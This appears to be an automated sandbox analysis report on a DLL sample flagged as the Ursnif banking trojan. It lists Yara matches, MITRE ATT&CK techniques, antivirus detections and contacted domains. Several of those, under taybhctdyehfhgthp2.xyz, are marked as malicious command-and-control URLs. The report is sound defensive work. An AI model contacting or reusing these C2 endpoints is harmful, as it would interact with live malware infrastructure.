Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5292, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5324, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5276, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5288, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5292, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5324, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5276, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	DLL Side-Loading1	DLL Side-Loading1	Obfuscated Files or Information1	Credential API Hooking3	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection12	Software Packing2	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Email Collection1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	DLL Side-Loading1	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Credential API Hooking3	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell1	Logon Script (Mac)	Logon Script (Mac)	Rootkit4	NTDS	System Information Discovery24	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Virtualization/Sandbox Evasion21	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Regsvr321	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Rundll321	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
2770174.dll	100%	Avira	TR/Kazy.4159236
2770174.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.loaddll32.exe.10000000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.2.rundll32.exe.4630000.1.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
0.2.loaddll32.exe.1400000.0.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
5.2.rundll32.exe.4180000.1.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
2.2.regsvr32.exe.f00000.1.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
3.2.rundll32.exe.10000000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

Source	Detection	Scanner	Link
tls13.taboola.map.fastly.net	1%	Virustotal	Browse
www.googleoptimize.com	1%	Virustotal	Browse
taybhctdyehfhgthp2.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://onedrive.live.com;Fotos	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/_2Faxv8_2Bu0S355431/zWBmIqRqQnvMB_2FKOk6CG/NwnPAjKDdicU7/LyyqKz0o/YfBYTeGYFQwkbZMyJ8naD46/LAJf_2B0RU/3xv7VkvLo_2BH32z2/0GV2mzuC7wB9/KQWi8z52zYq/laCh5k_2F_2FsN/gFzjneWKury1hVqDQnliR/azK5qDi4jLH99wYz/G9Hdx13SInuD3gF/73zT6HN_2B6msVs0lU/EuYlN_2BC7WR/i.crw	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_2FGDUp6Oi5jXD7I8Ab8U/gK4SwCYPiUPEkaUo/PrkNmh92vqxkb0v/PCnqPml9BaZFVRBIe_/2B22S8HAh/d9Tx35KtPfkXAbAsIuzf/2WiITh1H39IL9oWAn14/Ato1qcOoaQdDf8WbLtN5nh/4DNa.crw	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
http://taybhctdyehfhgthp2.xyz/jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF_2Fb/KhTAv5JxUk1yx17bklmA1/d0ce84VGmC4XToZ3/TiJp7oqlVeIG5y4/hFv5_2BNvMTr_2BeEi/G1O6zP7eh/h0jyonPucpxshjr38gHc/mUt_2Bbr2dZAiwNrJ6q/V3apeuqs4sJwa7IUzmg12g/qV5g.crw	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/gtqnX1_2BBrthQ/u3Ow9U77gyB4yz7FWcMqW/MB7b6_2BOONkcuHq/pp1MQOLvSN1p_2B/FV7Pm6a31d2J5lSN_2/BzGSBLJoW/mkH_2B1SqUGsLgri21vM/sTm8rqFhIKFyjhSMnfS/eOIuSlx61lzuK1AdQtpcLd/ecP_2F2TO_2Bj/KaylSIXS/u6E6oRIpMJVadVClzcxwIS_/2BHj1Xmv/hc.crw	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/p5RR5qqGgi5cTLPxy/2iFqCZAtdge9/_2B0gp3GesH/Xr71XWjGQYQuWa/hA9AKk	0%	Avira URL Cloud	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
http://scottjehl.github.io/picturefill	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsCvSsG_	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXV	0%	Avira URL Cloud	safe
https://onedrive.live.com;OneDrive-App	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://taybhctdyehfhgthp2.xyz/jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXVD/nyA2CFklxFPwVQh/Yho06_2FbaOGMgTxMt/wv24AfIjN/0MFgIcSL6gEiPqujKV_2/FBuSaCXg7gU09XOKs6c/4flUb9QPzKFwKqbjV_2FMz/mqc6yG0M3rYrC/7N85LJjr/tu_2BqIUaqz1VBst_2F35QW/3.crw	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/tR4LnoSVINT1f2c/0VvJfJtFJ0fvpQScRR/CPWVnO7Ig/8xymBr8_2BV2MPJj4Wb	0%	Avira URL Cloud	safe
http://taybhctdyehfhgthp2.xyz/jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wa.ui-portal.de	82.165.229.54	true	false		high
tls13.taboola.map.fastly.net	151.101.1.44	true	false	1%, Virustotal, Browse	unknown
www.mail.com	82.165.229.59	true	false		high
HHN-efz.ms-acdc.office.com	52.98.175.18	true	false		high
wa.mail.com	82.165.229.16	true	false		high
www.googleoptimize.com	142.250.180.206	true	false	1%, Virustotal, Browse	unknown
contextual.media.net	23.211.6.95	true	false		high
outlook.com	40.97.116.82	true	false		high
taybhctdyehfhgthp2.xyz	45.90.58.179	true	true	0%, Virustotal, Browse	unknown
hblg.media.net	23.211.6.95	true	false		high
lg3.media.net	23.211.6.95	true	false		high
resolver1.opendns.com	208.67.222.222	true	false		high
plusmailcom.ha-cdn.de	195.20.250.115	true	false		unknown
mail.com	82.165.229.87	true	false		high
FRA-efz.ms-acdc.office.com	52.97.170.34	true	false		high
geolocation.onetrust.com	104.20.185.68	true	false		high
www.msn.com	unknown	unknown	false		high
srtb.msn.com	unknown	unknown	false		high
img.img-taboola.com	unknown	unknown	false		unknown
outlook.office365.com	unknown	unknown	false		high
web.vortex.data.msn.com	unknown	unknown	false		high
s.uicdn.com	unknown	unknown	false		high
www.outlook.com	unknown	unknown	false		high
img.ui-portal.de	unknown	unknown	false		high
plus.mail.com	unknown	unknown	false		high
cvision.media.net	unknown	unknown	false		high
dl.mail.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://taybhctdyehfhgthp2.xyz/jdraw/_2Faxv8_2Bu0S355431/zWBmIqRqQnvMB_2FKOk6CG/NwnPAjKDdicU7/LyyqKz0o/YfBYTeGYFQwkbZMyJ8naD46/LAJf_2B0RU/3xv7VkvLo_2BH32z2/0GV2mzuC7wB9/KQWi8z52zYq/laCh5k_2F_2FsN/gFzjneWKury1hVqDQnliR/azK5qDi4jLH99wYz/G9Hdx13SInuD3gF/73zT6HN_2B6msVs0lU/EuYlN_2BC7WR/i.crw	true	Avira URL Cloud: safe	unknown
http://outlook.com/jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxjumUCxy08c3/hEyqk7y0R/Lv9aFeVgtQQx8QD9pW5d/Ac07adghbVZgEftTXAe/6L6pB6BmU2Y7k8ESiCzmDb/Z4dkw_2BAKquP/hA_2BwCK/3iTjiCeJZZSpLKXArjcyss9/OwKlQvPM9fHtt6/WpI0i7.crw	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_2FGDUp6Oi5jXD7I8Ab8U/gK4SwCYPiUPEkaUo/PrkNmh92vqxkb0v/PCnqPml9BaZFVRBIe_/2B22S8HAh/d9Tx35KtPfkXAbAsIuzf/2WiITh1H39IL9oWAn14/Ato1qcOoaQdDf8WbLtN5nh/4DNa.crw	true	Avira URL Cloud: safe	unknown
http://taybhctdyehfhgthp2.xyz/jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF_2Fb/KhTAv5JxUk1yx17bklmA1/d0ce84VGmC4XToZ3/TiJp7oqlVeIG5y4/hFv5_2BNvMTr_2BeEi/G1O6zP7eh/h0jyonPucpxshjr38gHc/mUt_2Bbr2dZAiwNrJ6q/V3apeuqs4sJwa7IUzmg12g/qV5g.crw	true	Avira URL Cloud: safe	unknown
http://taybhctdyehfhgthp2.xyz/jdraw/gtqnX1_2BBrthQ/u3Ow9U77gyB4yz7FWcMqW/MB7b6_2BOONkcuHq/pp1MQOLvSN1p_2B/FV7Pm6a31d2J5lSN_2/BzGSBLJoW/mkH_2B1SqUGsLgri21vM/sTm8rqFhIKFyjhSMnfS/eOIuSlx61lzuK1AdQtpcLd/ecP_2F2TO_2Bj/KaylSIXS/u6E6oRIpMJVadVClzcxwIS_/2BHj1Xmv/hc.crw	true	Avira URL Cloud: safe	unknown
http://mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWDCCX/qrcTQot2XuPIeam7w/8XDXQ5cif7RJ/1_2B3PVmQx5/nHKK8uT65nNyIl/JeFpPVHIxWMVXvseH_2FD/YH70V7tTLImM6Joz/2I1VGAIxwkkbz7Z/4EmL4AYi/6QglyA.crw	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXVD/nyA2CFklxFPwVQh/Yho06_2FbaOGMgTxMt/wv24AfIjN/0MFgIcSL6gEiPqujKV_2/FBuSaCXg7gU09XOKs6c/4flUb9QPzKFwKqbjV_2FMz/mqc6yG0M3rYrC/7N85LJjr/tu_2BqIUaqz1VBst_2F35QW/3.crw	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://searchads.msn.net/.cfm?&&kp=1&	~DF745D33E3B1706BEF.TMP.4.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/coronareisen	de-ch[1].htm.6.dr	false		high
https://wa.ui-portal.de/opt-out-transfer/mailcom/	rundll32.exe, 00000003.00000003.417150928.000000000516A000.00000004.00000040.sdmp, rundll32.exe, 00000005.00000002.493465480.000000000296A000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000003.460407663.0000000004B2B000.00000004.00000040.sdmp	false		high
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_promotionalstripe_na	de-ch[1].htm.6.dr	false		high
https://onedrive.live.com;Fotos	52-478955-68ddb2ab[1].js.6.dr	false	Avira URL Cloud: safe	low
https://www.msn.com/de-ch/sport?ocid=StripeOCID	de-ch[1].htm.6.dr	false		high
https://s.uicdn.com/tcf/live/v1/js/tcf-api.js	core[1].htm.19.dr	false		high
https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn	de-ch[1].htm.6.dr	false		high
https://office.live.com/start/Word.aspx?WT.mc_id=MSN_site;Excel	52-478955-68ddb2ab[1].js.6.dr	false		high
http://ogp.me/ns/fb#	de-ch[1].htm.6.dr	false		high
https://www.mail.com/	consentpage[1].htm.19.dr	false		high
https://github.com/arv/DOM-URL-Polyfill/blob/master/src/url.js	url-polyfill[1].js.19.dr	false		high
https://www.mail.com/consentpage/event/error	consentpage[1].htm.19.dr	false		high
https://dl.mail.com/tcf/live/v1/js/tcf-api.js	consentpage[1].htm.19.dr	false		high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	picturefill.min[2].js.21.dr	false		high
https://outlook.live.com/mail/deeplink/compose;Kalender	52-478955-68ddb2ab[1].js.6.dr	false		high
https://res-a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg	~DF745D33E3B1706BEF.TMP.4.dr	false		high
https://www.skyscanner.net/g/referrals/v1/cars/home?associateid=API_B2B_19305_00002	de-ch[1].htm.6.dr	false		high
https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.mail.com/consentpagedTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIz	{70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr, ~DFFEBFC8E2AAC9D5AE.TMP.4.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	false		high
https://dl.mail.com/permission/live/v1/ppp/js/permission-client.js	consentpage[1].htm.19.dr	false		high
https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/polyfills.min.js	core[1].htm.19.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000021.00000002.495394325.000001E9AB881000.00000004.00000001.sdmp	false		high
http://www.reddit.com/	msapplication.xml4.4.dr	false		high
https://www.skype.com/	de-ch[1].htm.6.dr	false		high
https://s.uicdn.com/mailint/9.1722.0/assets/potec.core.min.js	rundll32.exe, 00000003.00000003.417150928.000000000516A000.00000004.00000040.sdmp, rundll32.exe, 00000005.00000002.493465480.000000000296A000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000003.460407663.0000000004B2B000.00000004.00000040.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/schweiz/transparenz-streit-bundesgericht-weist-beschwerde-des-	de-ch[1].htm.6.dr	false		high
https://clkde.tradedoubler.com/click?p=245744&a=3064090&g=24545562	de-ch[1].htm.6.dr	false		high
https://sp.booking.com/index.html?aid=1589774&label=travelnavlink	de-ch[1].htm.6.dr	false		high
https://www.youtube.com/embed/SrLZgP-OR6s	potec.core.min[2].js.20.dr	false		high
https://outlook.office365.com/jdraw/vqfQiI7wHQRYBipo/2YRO_2BiyLl_2Fp/6B0k0PRCnXIV6OmEu7/x1gwiJ0go/pe	{7E89C2AE-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false		high
https://s.uicdn.com/shared/sentry/5.5.0/bundle.min.js	core[1].htm.19.dr	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_	loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/regional	de-ch[1].htm.6.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/?qt=allmyphotos;Aktuelle	52-478955-68ddb2ab[1].js.6.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	false		high
https://amzn.to/2TTxhNg	de-ch[1].htm.6.dr	false		high
https://www.skype.com/go/onedrivepromo.download?cm_mmc=MSFT_2390_MSN-com	52-478955-68ddb2ab[1].js.6.dr	false		high
https://client-s.gateway.messenger.live.com	52-478955-68ddb2ab[1].js.6.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.msn.com/de-ch/	de-ch[1].htm.6.dr	false		high
https://office.live.com/start/PowerPoint.aspx?WT.mc_id=MSN_site	52-478955-68ddb2ab[1].js.6.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	~DF745D33E3B1706BEF.TMP.4.dr	false		high
https://www.awin1.com/cread.php?awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-river	de-ch[1].htm.6.dr	false		high
https://s.uicdn.com/mailint/9.1722.0/assets/favicon.ico	consentpage[1].htm.19.dr	false		high
http://modernizr.com/download/?-csstransforms-csstransforms3d-csstransitions-flexbox-flexboxlegacy-f	head.min[2].js.21.dr	false		high
https://www.mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1Rq	{70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr, 6QglyA[1].htm0.19.dr, ~DFFEBFC8E2AAC9D5AE.TMP.4.dr	false		high
https://www.msn.com/de-ch	de-ch[1].htm.6.dr	false		high
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_store&m	de-ch[1].htm.6.dr	false		high
https://twitter.com/i/notifications;Ich	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.awin1.com/cread.php?awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-infopa	de-ch[1].htm.6.dr	false		high
https://cct.google/taggy/agent.js	gtm[1].js.20.dr, optimize[1].js.20.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&http	de-ch[1].htm.6.dr	false		high
https://s.uicdn.com/mailint/9.1722.0/assets/favicon.ico~	imagestore.dat.19.dr, imagestore.dat.4.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/ging-im-z%c3%bcrcher-nachtleben-ein-serienvergewal	de-ch[1].htm.6.dr	false		high
https://www.sway.com/?WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topnav&utm_campaign=link;PowerPoin	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/?ocid=iehp&item=deferred_page%3a1&ignorejs=webcore%2fmodules%2fjsb	de-ch[1].htm.6.dr	false		high
http://www.youtube.com/	msapplication.xml7.4.dr	false		high
https://www.msn.com/de-ch/news/other/das-gequake-ist-untragbar-fr%c3%b6sche-rauben-nachbarn-den-schl	de-ch[1].htm.6.dr	false		high
http://ogp.me/ns#	de-ch[1].htm.6.dr	false		high
https://github.com/js-cookie/js-cookie	permission-client[1].js.19.dr	false		high
https://clkde.tradedoubler.com/click?p=245744&a=3064090&g=24545562&epi=de-ch	de-ch[1].htm.6.dr	false		high
https://onedrive.live.com/?qt=mru;OneDrive-App	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.skype.com/de	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.mail.com/cdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1Rq	{70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/p5RR5qqGgi5cTLPxy/2iFqCZAtdge9/_2B0gp3GesH/Xr71XWjGQYQuWa/hA9AKk	rundll32.exe, 00000003.00000003.475793042.0000000002DD3000.00000004.00000001.sdmp, ~DF58DEFE5429921A67.TMP.4.dr, {855EF569-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false	Avira URL Cloud: safe	unknown
https://popup.taboola.com/	potec.core.min[2].js.20.dr	false		high
https://sp.booking.com/index.html?aid=1589774&label=dech-prime-hp-me	de-ch[1].htm.6.dr	false		high
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	de-ch[1].htm.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.skype.com/de/download-skype	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/news/other/man-kann-ja-gleich-das-fahrzeug-schieben/ar-AALPtdx?ocid=hploca	de-ch[1].htm.6.dr	false		high
https://outlook.office365.com/jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxju	~DF5F04A478F43FE59C.TMP.4.dr, {61C46D25-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false		high
https://wa.mail.com/1and1/mailcom/s?_c=0&name=	main[1].js.19.dr	false		high
https://onedrive.live.com/?wt.mc_id=oo_msn_msnhomepage_header	de-ch[1].htm.6.dr	false		high
https://www.mail.com/consentpage/event/visit	consentpage[1].htm.19.dr	false		high
https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/tracklib.min.js	core[1].htm.19.dr	false		high
http://scottjehl.github.io/picturefill	picturefill.min[2].js.21.dr	false	Avira URL Cloud: safe	unknown
http://www.hotmail.msn.com/pii/ReadOutlookEmail/	52-478955-68ddb2ab[1].js.6.dr	false		high
